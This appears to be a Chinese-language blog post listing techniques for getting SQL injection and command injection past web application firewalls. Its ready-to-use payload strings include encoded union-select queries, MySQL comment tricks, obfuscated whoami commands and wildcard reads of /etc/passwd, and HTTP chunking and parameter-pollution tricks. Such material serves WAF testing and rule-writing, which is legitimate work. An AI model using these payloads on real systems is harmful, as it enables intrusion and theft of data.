Sql注入之WAF繞過

txnb發表於2024-06-21

WAF 攔截原理

WAF 繞過的思路就是讓 WAF 的檢測規則,識別不到你所輸入的敏感字元,利用上述所介紹的知識點,靈活結合各種方法,從而可以增加繞過 WAF 的可能性.

image.png

1. 關鍵詞大小寫繞過

有的WAF因為規則設計的問題,只匹配純大寫或純小寫的字元,對字元大小寫混寫直接無視,這時,我們可以利用這一點來進行繞過
舉例: union select ---> unIOn SeLEcT

2. 編碼繞過

針對 WAF 過濾的字元編碼,如使用 URL 編碼,Unicode 編碼,十六進位制編碼,Hex 編碼等.

  • url 編碼

select * from zzz = select * from %257a%257a%257a

  • Unicode 編碼

單引號 = %u0027、%u02b9、%u02bc

  • 部分十六進位制編碼

adminuser = 0x61646D696E75736572

  • 各類編碼

空格 = %20 %09 %0a %0b %0c %0d %a0

舉例: union select 1,2,3# =union%0aselect 1\u002c2,3%23

3. 雙寫繞過

部分 WAF 只對字串識別一次,刪除敏感欄位並拼接剩餘語句,這時,我們可以透過雙寫來進行繞過。

舉例:UNIunionON ,SELselectECT anandd

4. 換行 ( \N ) 繞過

舉例:select * from admin where username = \N union select 1,user() from admin

5. 註釋符內聯註釋繞過

union selecte = /!union/ select

註釋符裡感嘆號後面的內容會被 mysql 執行。

6. HTTP 引數汙染

對目標傳送多個引數,如果目標沒有多引數進行多次過濾,那麼WAF對多個引數只會識別其中的一個。

舉例:?id=1&id=2&id=3
?id=1/**&id=-1%20union%20select%201,2,3%23*/

order by繞過:%20///--// V4.0
聯合繞過:union /!--+/%0aselect/!1,2,3/ --+
from繞過: /!06447%23%0afrom/

7. 透過其他語義相同的關鍵字替換

  • And = &&

  • Or = ||

  • 等於 = like 或綜合<與>判斷

  • if(a,b,c) = case when(A) then B else C end

  • substr(str,1,1) = substr (str) from 1 for 1

  • limit 1,1 = limit 1 offset 1

  • Union select 1,2 = union select * from ((select 1)A join (select 2)B;

  • hex()、bin() = ascii()

  • sleep() = benchmark()

  • concat_ws() = group_concat()

  • mid()、substr() = substring()

  • @@user = user()

  • @@datadir = datadir()

  • 空格不能使用=%09,%0a,%0b,%0c,%0d,%20,%a0等

    注:%0a是換行也可以替代空格

8. 配合Windows特性

8.1 利用符號分割字元執行 whoami

whoami = ((((Whoam""i))))

8.2 利用變數分割關鍵字執行whoami

whoami = set a=net&&b=user&&call %a%%b%

  1. 為了方便演示這裡設定一個變數

set a=123whoami456

  1. 取出變數a的第3位開始共計6個字元

echo %a:~3,6%

執行取出的值,透過擷取系統變數然後拼接可以繞過大部分檢測%a:~3,6%

9. 配合Linux特性

9.1 單引號或雙引號連線符,需要閉合

whoami = w'h'o'a'm"i"

9.2 ?,*萬用字元

Cat /etc/passwd = cat /?t*/??ss**

9.3 [] 萬用字元,匹配【】中的字元

whoami = /b[12312i]n/w[23sh]oa[2msh]i

9.4 linux下也可以變數拼接

Whoami = a=who&&b=ami&&$a$​​​​b

9.5 目錄穿越, /被攔截

cat /../../etc/passwd =cd ..&&cd ..&&cd etc&&cat passwd

10. 配合 Mysql 特性

10.1 /**/資料庫註釋符

中間部分被註釋,可用於截斷關鍵字,干擾 waf 匹配。

  • 註釋符/**/也可以用於替換空格

User() = user/**/()

Union select = /*95554*/Union/*test123*/select

10.2 /*!*/內斂註釋

中間部分繼續執行,mysql 特有。

  • /*!*/內部繼續執行

User() = /*!user/*123*/()*/

  • 組合

Union select = /*!union*//*123*//*!select*/

10.3 %0a換行與#單行註釋符配合使用。

  • 用#註釋,再用%0a逃出註釋繼續執行後面語句

Union select = union#A%0aselect]

11. 配合過濾程式碼或漏洞本身

11.1 關鍵字被過濾,雙寫關鍵字

  • 將關鍵字過濾掉後剩下的內容組成新的關鍵字

and = anandd

11.2 透過c hr() 函式變換關鍵字

  • 將 acsii 碼透過 chr() 函式轉換回來

phpinfo() = chr (80).chr (72).chr (80).chr (73).chr (78).chr (70).chr (79).chr (40).chr (41)

11.3 透過 base_convert() 函式變換關鍵字

phpinfo = base_convert(27440799224,10,32) //從 10 進位制轉換成 32 進位制

12. http 協議繞過

12.1 Content-Type 繞過

application/x-www-form-urlencoded è multipart/form-data

12.2 ​HTTP 請求方式繞過

get 改為 post

12.3 keep-alive(Pipeline)繞過

將惡意程式碼隱藏在第 n個 請求中,繞過 waf

12.4 分塊傳輸繞過

將關鍵字 and, or, select , union 等關鍵字拆開編碼

12.5 修改編碼方式:Charset 繞過

大部分的 WAF 預設用 UTF8 編碼檢測

13. 網路結構繞過

直接對源地址發起攻擊,流量不會經過 waf,從而成功繞過

相關文章